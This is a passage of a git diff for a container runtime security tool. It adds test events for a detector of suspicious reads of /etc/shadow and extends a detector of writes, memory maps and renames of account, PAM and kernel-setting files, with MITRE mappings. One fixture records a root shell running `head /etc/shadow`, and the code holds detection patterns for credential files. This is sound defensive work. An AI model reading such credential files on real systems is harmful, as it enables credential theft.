0, - "label": "" - }, - "action": "KPROBE_ACTION_POST", - "stack_trace": [], - "policy_name": "file-monitoring" - }, - "node_name": "experts-k8s-cs", - "time": "2024-03-24T07:30:06.785822196Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - -*/ diff --git a/event-processor/detector/wasm/CS_RT_SUSP_FILE_READ/testdata/negative_benign_path.json b/event-processor/detector/wasm/CS_RT_SUSP_FILE_READ/testdata/negative_benign_path.json new file mode 100644 index 00000000..cd4e1531 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_SUSP_FILE_READ/testdata/negative_benign_path.json @@ -0,0 +1,35 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 12345, + "binary": "/usr/bin/cat", + "arguments": "/etc/hostname" + }, + "function_name": "security_file_permission", + "args": [ + { + "file_arg": { + "path": "/etc/hostname", + "permission": "-rw-r--r--" + } + }, + { + "int_arg": 4 + } + ] + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_SUSP_FILE_READ/testdata/positive_etc_shadow_read.json b/event-processor/detector/wasm/CS_RT_SUSP_FILE_READ/testdata/positive_etc_shadow_read.json new file mode 100644 index 00000000..fbde920c --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_SUSP_FILE_READ/testdata/positive_etc_shadow_read.json @@ -0,0 +1,281 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDI1Nzk5OTE2NjMzNDQ6MzI1OTM0MA==", + "pid": 3259340, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/head", + "arguments": "/etc/shadow", + "flags": "execve rootcwd clone", + "start_time": "2024-03-24T07:30:06.785114023Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-02-27T13:26:02Z", + "pid": 70734, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "332cff0fb99f03f8b4fb9633f245ba2", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDE2OTY2NzQwOTM2OTM6MzI1MDU5MQ==", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534978, + "is_host": false + }, + "ipc": { + "inum": 4026534979, + "is_host": false + }, + "mnt": { + "inum": 4026535073, + "is_host": false + }, + "pid": { + "inum": 4026535074, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535074, + "is_host": false + }, + "net": { + "inum": 4026534980, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535075, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 3259340, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "parent": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDE2OTY2NzQwOTM2OTM6MzI1MDU5MQ==", + "pid": 3250591, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2024-03-24T07:15:23.467544178Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-02-27T13:26:02Z", + "pid": 70721, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "332cff0fb99f03f8b4fb9633f245ba2", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDE2OTY2NzI2NjUwMDI6MzI1MDU5MQ==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534978, + "is_host": false + }, + "ipc": { + "inum": 4026534979, + "is_host": false + }, + "mnt": { + "inum": 4026535073, + "is_host": false + }, + "pid": { + "inum": 4026535074, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535074, + "is_host": false + }, + "net": { + "inum": 4026534980, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535075, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 3250591, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "function_name": "security_file_permission", + "args": [ + { + "file_arg": { + "mount": "", + "path": "/etc/shadow", + "flags": "" + }, + "label": "" + }, + { + "int_arg": 4, + "label": "" + } + ], + "return": { + "int_arg": 0, + "label": "" + }, + "action": "KPROBE_ACTION_POST", + "policy_name": "pt-cs-file-monitoring" + }, + "node_name": "test-k8s-cluster", + "time": "2024-03-24T07:30:06.785822196Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_SUSP_FILE_READ", + "severity": "HIGH", + "reason_contains": "/etc/shadow", + "tactics": [ + "TA0001", + "TA0003", + "TA0004", + "TA0005", + "TA0006", + "TA0007", + "TA0009" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "HIGH", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_SUSP_FILE_WRITE/main.go b/event-processor/detector/wasm/CS_RT_SUSP_FILE_WRITE/main.go index 95c6741e..15bb09a9 100644 --- a/event-processor/detector/wasm/CS_RT_SUSP_FILE_WRITE/main.go +++ b/event-processor/detector/wasm/CS_RT_SUSP_FILE_WRITE/main.go @@ -5,6 +5,7 @@ package main import ( "context" "fmt" + "strings" "github.com/gobwas/glob" "github.com/runtime-radar/runtime-radar/event-processor/detector/api" @@ -13,21 +14,74 @@ import ( const ( ID = "CS_RT_SUSP_FILE_WRITE" - Name = "Suspicious changes in critical system files" + Name = "Suspicious changes in sensitive system files" Description = "The detector detects suspicious changes in system files, such as /etc/passwd and /etc/shadow, which may indicate an attacker's attempt to alter the system configuration or gain privileged access." - Version = 1 + Version = 2 Author = "Runtime Radar Team" License = "Apache License 2.0" ) const ( - // File access permissions - // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/linux/fs.h#L100 - MAY_WRITE = 2 - // Memory page access permissions - // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/uapi/asm-generic/mman-common.h#L11 - PROT_WRITE = 2 + // Accounts + KprobeUtilsWriteAccountsNoArgs = "Detected that the `%s` file with accounts was edited by the `%s` utility" + KprobeUtilsWriteAccountsDefault = "Detected that the `%s` file with accounts was edited by the `%s` utility, which was started using the `%s` arguments" + KprobeUtilsMmapAccountsNoArgs = "Detected that the `%s` file with accounts was memory-mapped by the `%s` utility" + KprobeUtilsMmapAccountsDefault = "Detected that the `%s` file with accounts was memory-mapped by the `%s` utility, which was started using the `%s` arguments" + KprobeUtilsRenameAccountsNoArgs = "Detected that the `%s` file with accounts was replaced with the `%s` file by the `%s` utility" + KprobeUtilsRenameAccountsDefault = "Detected that the `%s` file with accounts was replaced with the `%s` file by the `%s` utility, which was started using the `%s` arguments" + KprobeShellsWriteAccountsNoArgs = "Detected that the `%s` file with accounts was edited by the `%s` command shell" + KprobeShellsWriteAccountsDefault = "Detected that the `%s` file with accounts was edited by the `%s` command shell, which was started using the `%s` arguments" + KprobeShellsMmapAccountsNoArgs = "Detected that the `%s` file with accounts was memory-mapped by the `%s` command shell" + KprobeShellsMmapAccountsDefault = "Detected that the `%s` file with accounts was memory-mapped by the `%s` command shell, which was started using the `%s` arguments" + KprobeShellsRenameAccountsNoArgs = "Detected that the `%s` file with accounts was replaced with the `%s` file by the `%s` command shell" + KprobeShellsRenameAccountsDefault = "Detected that the `%s` file with accounts was replaced with the `%s` file by the `%s` command shell, which was started using the `%s` arguments" + KprobeDirsWriteAccountsNoArgs = "Detected that the `%s` file with accounts was edited by the executable file `%s` from the `%s` directory" + KprobeDirsWriteAccountsDefault = "Detected that the `%s` file with accounts was edited by the executable file `%s` from the `%s` directory, which was started using the `%s` arguments" + KprobeDirsMmapAccountsNoArgs = "Detected that the `%s` file with accounts was memory-mapped by the executable file `%s` from the `%s` directory" + KprobeDirsMmapAccountsDefault = "Detected that the `%s` file with accounts was memory-mapped by the executable file `%s` from the `%s` directory, which was started using the `%s` arguments" + KprobeDirsRenameAccountsNoArgs = "Detected that the `%s` file with accounts was replaced with the `%s` file by the executable file `%s` from the `%s` directory" + KprobeDirsRenameAccountsDefault = "Detected that the `%s` file with accounts was replaced with the `%s` file by the executable file `%s` from the `%s` directory, which was started using the `%s` arguments" + + // PAM + KprobeUtilsWritePamNoArgs = "Detected that the `%s` file with the system authentication and authorization settings was edited by the `%s` utility" + KprobeUtilsWritePamDefault = "Detected that the `%s` file with the system authentication and authorization settings was edited by the `%s` utility, which was started using the `%s` arguments" + KprobeUtilsMmapPamNoArgs = "Detected that the `%s` file with the system authentication and authorization settings was memory-mapped by the `%s` utility" + KprobeUtilsMmapPamDefault = "Detected that the `%s` file with the system authentication and authorization settings was memory-mapped by the `%s` utility, which was started using the `%s` arguments" + KprobeUtilsRenamePamNoArgs = "Detected that the `%s` file with the system authentication and authorization settings was replaced with the `%s` file by the `%s` utility" + KprobeUtilsRenamePamDefault = "Detected that the `%s` file with the system authentication and authorization settings was replaced with the `%s` file by the `%s` utility, which was started using the `%s` arguments" + KprobeShellsWritePamNoArgs = "Detected that the `%s` file with the system authentication and authorization settings was edited by the `%s` command shell" + KprobeShellsWritePamDefault = "Detected that the `%s` file with the system authentication and authorization settings was edited by the `%s` command shell, which was started using the `%s` arguments" + KprobeShellsMmapPamNoArgs = "Detected that the `%s` file with the system authentication and authorization settings was memory-mapped by the `%s` command shell" + KprobeShellsMmapPamDefault = "Detected that the `%s` file with the system authentication and authorization settings was memory-mapped by the `%s` command shell, which was started using the `%s` arguments" + KprobeShellsRenamePamNoArgs = "Detected that the `%s` file with the system authentication and authorization settings was replaced with the `%s` file by the `%s` command shell" + KprobeShellsRenamePamDefault = "Detected that the `%s` file with the system authentication and authorization settings was replaced with the `%s` file by the `%s` command shell, which was started using the `%s` arguments" + KprobeDirsWritePamNoArgs = "Detected that the `%s` file with the system authentication and authorization settings was edited by the executable file `%s` from the `%s` directory" + KprobeDirsWritePamDefault = "Detected that the `%s` file with the system authentication and authorization settings was edited by the executable file `%s` from the `%s` directory, which was started using the `%s` arguments" + KprobeDirsMmapPamNoArgs = "Detected that the `%s` file with the system authentication and authorization settings was memory-mapped by the executable file `%s` from the `%s` directory" + KprobeDirsMmapPamDefault = "Detected that the `%s` file with the system authentication and authorization settings was memory-mapped by the executable file `%s` from the `%s` directory, which was started using the `%s` arguments" + KprobeDirsRenamePamNoArgs = "Detected that the `%s` file with the system authentication and authorization settings was replaced with the `%s` file by the executable file `%s` from the `%s` directory" + KprobeDirsRenamePamDefault = "Detected that the `%s` file with the system authentication and authorization settings was replaced with the `%s` file by the executable file `%s` from the `%s` directory, which was started using the `%s` arguments" + + // KernelOptions + KprobeUtilsWriteKernelOptsNoArgs = "Detected that the `%s` file with the kernel settings was edited by the `%s` utility" + KprobeUtilsWriteKernelOptsDefault = "Detected that the `%s` file with the kernel settings was edited by the `%s` utility started using the `%s` arguments" + KprobeUtilsMmapKernelOptsNoArgs = "Detected that the `%s` file with the kernel settings was memory-mapped by the `%s` utility" + KprobeUtilsMmapKernelOptsDefault = "Detected that the `%s` file with the kernel settings was memory-mapped by the `%s` utility started using the `%s` arguments" + KprobeUtilsRenameKernelOptsNoArgs = "Detected that the `%s` file with the kernel settings was replaced with the `%s` file by the `%s` utility" + KprobeUtilsRenameKernelOptsDefault = "Detected that the `%s` file with the kernel settings was replaced with the `%s` file by the `%s` utility started using the `%s` arguments" + KprobeShellsWriteKernelOptsNoArgs = "Detected that the `%s` file with the kernel settings was edited by the `%s` command shell" + KprobeShellsWriteKernelOptsDefault = "Detected that the `%s` file with the kernel settings was edited by the `%s` command shell started using the `%s` arguments" + KprobeShellsMmapKernelOptsNoArgs = "Detected that the `%s` file with the kernel settings was memory-mapped by the `%s` command shell" + KprobeShellsMmapKernelOptsDefault = "Detected that the `%s` file with the kernel settings was memory-mapped by the `%s` command shell started using the `%s` arguments" + KprobeShellsRenameKernelOptsNoArgs = "Detected that the `%s` file with the kernel settings was replaced with the `%s` file by the `%s` command shell" + KprobeShellsRenameKernelOptsDefault = "Detected that the `%s` file with the kernel settings was replaced with the `%s` file by the `%s` command shell started using the `%s` arguments" + KprobeDirsWriteKernelOptsNoArgs = "Detected that the `%s` file with the kernel settings was edited by the executable file `%s` from the `%s` directory" + KprobeDirsWriteKernelOptsDefault = "Detected that the `%s` file with the kernel settings was edited by the executable file `%s` from the `%s` directory started using the `%s` arguments" + KprobeDirsMmapKernelOptsNoArgs = "Detected that the `%s` file with the kernel settings was memory-mapped by the executable file `%s` from the `%s` directory" + KprobeDirsMmapKernelOptsDefault = "Detected that the `%s` file with the kernel settings was memory-mapped by the executable file `%s` from the `%s` directory started using the `%s` arguments" + KprobeDirsRenameKernelOptsNoArgs = "Detected that the `%s` file with the kernel settings was replaced with the `%s` file by the executable file `%s` from the `%s` directory" + KprobeDirsRenameKernelOptsDefault = "Detected that the `%s` file with the kernel settings was replaced with the `%s` file by the executable file `%s` from the `%s` directory started using the `%s` arguments" ) var ( @@ -36,7 +90,7 @@ var ( // a particular event type, such as "PROCESS_EXEC", leave slice empty or use // wildcard "*". triggerCriteria = map[string][]string{ - "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate"}, + "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate", "security_path_rename"}, // Examples: // @@ -49,17 +103,133 @@ var ( ) var ( - sensitiveFiles = []glob.Glob{ - glob.MustCompile("/etc/passwd"), // users info - glob.MustCompile("/etc/shadow"), // users shadow info - glob.MustCompile("/etc/group"), // groups info - glob.MustCompile("/etc/gshadow"), // groups shadow info - glob.MustCompile("/etc/sudoers*"), // superuser security policies - glob.MustCompile("/etc/login.defs"), // shadow utils settings - glob.MustCompile("/etc/pam.*"), // authentication module settings - glob.MustCompile("/etc/security/pwquality.conf"), // password policy (pam) - glob.MustCompile("/etc/security/opasswd"), // password history (pam) - glob.MustCompile("/etc/sysctl.*"), // kernel parameters + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0003", + Techniques: []string{ + "T1098", + "T1136.001", + "T1556.003", + }, + }, + { + Id: "TA0004", + Techniques: []string{ + "T1098", + }, + }, + { + Id: "TA0005", + Techniques: []string{ + "T1556.003", + "T1562.001", + }, + }, + { + Id: "TA0006", + Techniques: []string{ + "T1556.003", + }, + }, + { + Id: "TA0040", + Techniques: []string{ + "T1531", + }, + }, + } + + mitreTacticsPam = []*api.MitreTactic{ + { + Id: "TA0003", + Techniques: []string{ + "T1556.003", + }, + }, + { + Id: "TA0005", + Techniques: []string{ + "T1556.003", + "T1562.001", + }, + }, + { + Id: "TA0006", + Techniques: []string{ + "T1556.003", + }, + }, + } + + mitreTacticsAccounts = []*api.MitreTactic{ + { + Id: "TA0003", + Techniques: []string{ + "T1098", + "T1136.001", + }, + }, + { + Id: "TA0004", + Techniques: []string{ + "T1098", + }, + }, + { + Id: "TA0040", + Techniques: []string{ + "T1531", + }, + }, + } + + mitreTacticsKernel = []*api.MitreTactic{ + { + Id: "TA0005", + Techniques: []string{ + "T1562", + }, + }, + } +) + +const ( + // File access permissions + // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/linux/fs.h#L100 + MAY_WRITE = 2 + + // Memory page access permissions + // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/uapi/asm-generic/mman-common.h#L11 + PROT_WRITE = 2 +) + +type sensitiveFile struct { + pattern glob.Glob + class string +} + +var ( + sensitiveFiles = []sensitiveFile{ + // Accounts info + {pattern: glob.MustCompile("/etc/passwd"), class: "Accounts"}, + // Accounts password info + {pattern: glob.MustCompile("/etc/shadow"), class: "Accounts"}, + // Groups info + {pattern: glob.MustCompile("/etc/group"), class: "Accounts"}, + // Groups password info + {pattern: glob.MustCompile("/etc/gshadow"), class: "Accounts"}, + // Superuser security policies + {pattern: glob.MustCompile("/etc/sudoers*"), class: "Accounts"}, + // Shadow utils settings + {pattern: glob.MustCompile("/etc/login.defs"), class: "PAM"}, + // Authentication module settings + {pattern: glob.MustCompile("/etc/pam.*"), class: "PAM"}, + // Password policy (PAM) + {pattern: glob.MustCompile("/etc/security/pwquality.conf"), class: "PAM"}, + // Password history (PAM) + {pattern: glob.MustCompile("/etc/security/opasswd"), class: "PAM"}, + // Kernel parameters + {pattern: glob.MustCompile("/etc/sysctl.*"), class: "KernelOptions"}, } writeUtils = []glob.Glob{ @@ -74,6 +244,7 @@ var ( glob.MustCompile("*/mcdiff"), glob.MustCompile("*/mcedit"), glob.MustCompile("*/mcview"), + glob.MustCompile("*/mv"), glob.MustCompile("*/nano"), glob.MustCompile("*/perl"), glob.MustCompile("*/php"), @@ -111,8 +282,8 @@ var ( } ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -120,12 +291,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -160,9 +332,14 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() function := kprobe.GetFunctionName() args := kprobe.GetArgs() + var affectedFile sensitiveFile + sensitiveFile := false path := "" + newFile := "" + action := "" switch function { // Trigger when security function check for file write access. @@ -174,6 +351,7 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } + action = "write" path = args[0].GetFileArg().GetPath() // Trigger when security function check for memory page write access. @@ -185,6 +363,7 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } + action = "mmap" path = args[0].GetFileArg().GetPath() // Trigger when security function check if truncating a file is allowed. @@ -194,18 +373,42 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return nil, fmt.Errorf("unexpected args len, got %d, want >= 1", len(args)) } + action = "write" path = args[0].GetPathArg().GetPath() + // Trigger when security function check if renaming a file is allowed. + // https://elixir.bootlin.com/linux/v6.15.7/source/security/security.c#L2005 + case "security_path_rename": + if len(args) < 2 { + return nil, fmt.Errorf("unexpected args len, got %d, want >= 2", len(args)) + } + + action = "rename" + path = args[1].GetPathArg().GetPath() + newFile = args[0].GetPathArg().GetPath() + default: return resp, nil } - sensitiveFile := false - for _, file := range sensitiveFiles { - if file.Match(path) { + switch { + case file.pattern.Match(path) && (file.class == "Accounts"): + resp.TacticsCovered = mitreTacticsAccounts + affectedFile = file + sensitiveFile = true + case file.pattern.Match(path) && (file.class == "PAM"): + resp.TacticsCovered = mitreTacticsPam + affectedFile = file + sensitiveFile = true + case file.pattern.Match(path) && (file.class == "KernelOptions"): + resp.TacticsCovered = mitreTacticsKernel + affectedFile = file + sensitiveFile = true + case file.pattern.Match(path): + resp.TacticsCovered = mitreTactics + affectedFile = file sensitiveFile = true - break } } @@ -216,29 +419,147 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Find out sensitive file reading method. // Trigger on utils for implicit writing for _, util := range writeUtils { - if util.Match(binary) { - resp.Severity = api.DetectResp_HIGH // <-- threat detected - - return resp, nil + if !util.Match(binary) { + continue + } + switch { + case (action == "write") && (affectedFile.class == "Accounts") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeUtilsWriteAccountsNoArgs, path, binary) + case (action == "write") && (affectedFile.class == "Accounts") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeUtilsWriteAccountsDefault, path, binary, binaryArgs) + case (action == "write") && (affectedFile.class == "PAM") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeUtilsWritePamNoArgs, path, binary) + case (action == "write") && (affectedFile.class == "PAM") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeUtilsWritePamDefault, path, binary, binaryArgs) + case (action == "write") && (affectedFile.class == "KernelOptions") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeUtilsWriteKernelOptsNoArgs, path, binary) + case (action == "write") && (affectedFile.class == "KernelOptions") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeUtilsWriteKernelOptsDefault, path, binary, binaryArgs) + case (action == "mmap") && (affectedFile.class == "Accounts") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeUtilsMmapAccountsNoArgs, path, binary) + case (action == "mmap") && (affectedFile.class == "Accounts") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeUtilsMmapAccountsDefault, path, binary, binaryArgs) + case (action == "mmap") && (affectedFile.class == "PAM") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeUtilsMmapPamNoArgs, path, binary) + case (action == "mmap") && (affectedFile.class == "PAM") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeUtilsMmapPamDefault, path, binary, binaryArgs) + case (action == "mmap") && (affectedFile.class == "KernelOptions") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeUtilsMmapKernelOptsNoArgs, path, binary) + case (action == "mmap") && (affectedFile.class == "KernelOptions") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeUtilsMmapKernelOptsDefault, path, binary, binaryArgs) + case (action == "rename") && (affectedFile.class == "Accounts") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeUtilsRenameAccountsNoArgs, path, newFile, binary) + case (action == "rename") && (affectedFile.class == "Accounts") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeUtilsRenameAccountsDefault, path, newFile, binary, binaryArgs) + case (action == "rename") && (affectedFile.class == "PAM") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeUtilsRenamePamNoArgs, path, newFile, binary) + case (action == "rename") && (affectedFile.class == "PAM") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeUtilsRenamePamDefault, path, newFile, binary, binaryArgs) + case (action == "rename") && (affectedFile.class == "KernelOptions") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeUtilsRenameKernelOptsNoArgs, path, newFile, binary) + case (action == "rename") && (affectedFile.class == "KernelOptions") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeUtilsRenameKernelOptsDefault, path, newFile, binary, binaryArgs) } + resp.Severity = api.DetectResp_HIGH // <-- threat detected + + return resp, nil } // Trigger on write using shell for _, shell := range shells { - if shell.Match(binary) { - resp.Severity = api.DetectResp_HIGH // <-- threat detected - - return resp, nil + if !shell.Match(binary) { + continue } + switch { + case (action == "write") && (affectedFile.class == "Accounts") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeShellsWriteAccountsNoArgs, path, binary) + case (action == "write") && (affectedFile.class == "Accounts") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeShellsWriteAccountsDefault, path, binary, binaryArgs) + case (action == "write") && (affectedFile.class == "PAM") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeShellsWritePamNoArgs, path, binary) + case (action == "write") && (affectedFile.class == "PAM") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeShellsWritePamDefault, path, binary, binaryArgs) + case (action == "write") && (affectedFile.class == "KernelOptions") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeShellsWriteKernelOptsNoArgs, path, binary) + case (action == "write") && (affectedFile.class == "KernelOptions") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeShellsWriteKernelOptsDefault, path, binary, binaryArgs) + case (action == "mmap") && (affectedFile.class == "Accounts") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeShellsMmapAccountsNoArgs, path, binary) + case (action == "mmap") && (affectedFile.class == "Accounts") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeShellsMmapAccountsDefault, path, binary, binaryArgs) + case (action == "mmap") && (affectedFile.class == "PAM") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeShellsMmapPamNoArgs, path, binary) + case (action == "mmap") && (affectedFile.class == "PAM") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeShellsMmapPamDefault, path, binary, binaryArgs) + case (action == "mmap") && (affectedFile.class == "KernelOptions") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeShellsMmapKernelOptsNoArgs, path, binary) + case (action == "mmap") && (affectedFile.class == "KernelOptions") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeShellsMmapKernelOptsDefault, path, binary, binaryArgs) + case (action == "rename") && (affectedFile.class == "Accounts") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeShellsRenameAccountsNoArgs, path, newFile, binary) + case (action == "rename") && (affectedFile.class == "Accounts") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeShellsRenameAccountsDefault, path, newFile, binary, binaryArgs) + case (action == "rename") && (affectedFile.class == "PAM") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeShellsRenamePamNoArgs, path, newFile, binary) + case (action == "rename") && (affectedFile.class == "PAM") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeShellsRenamePamDefault, path, newFile, binary, binaryArgs) + case (action == "rename") && (affectedFile.class == "KernelOptions") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeShellsRenameKernelOptsNoArgs, path, newFile, binary) + case (action == "rename") && (affectedFile.class == "KernelOptions") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeShellsRenameKernelOptsDefault, path, newFile, binary, binaryArgs) + } + resp.Severity = api.DetectResp_HIGH // <-- threat detected + + return resp, nil } // Trigger on utils from suspicious directories for _, dir := range suspDirs { - if dir.Match(binary) { - resp.Severity = api.DetectResp_HIGH // <-- threat detected - - return resp, nil + if !dir.Match(binary) { + continue } + binDir := binary[0 : strings.LastIndex(binary, "/") + 1] + switch { + case (action == "write") && (affectedFile.class == "Accounts") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeDirsWriteAccountsNoArgs, path, binary, binDir) + case (action == "write") && (affectedFile.class == "Accounts") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeDirsWriteAccountsDefault, path, binary, binDir, binaryArgs) + case (action == "write") && (affectedFile.class == "PAM") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeDirsWritePamNoArgs, path, binary, binDir) + case (action == "write") && (affectedFile.class == "PAM") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeDirsWritePamDefault, path, binary, binDir, binaryArgs) + case (action == "write") && (affectedFile.class == "KernelOptions") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeDirsWriteKernelOptsNoArgs, path, binary, binDir) + case (action == "write") && (affectedFile.class == "KernelOptions") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeDirsWriteKernelOptsDefault, path, binary, binDir, binaryArgs) + case (action == "mmap") && 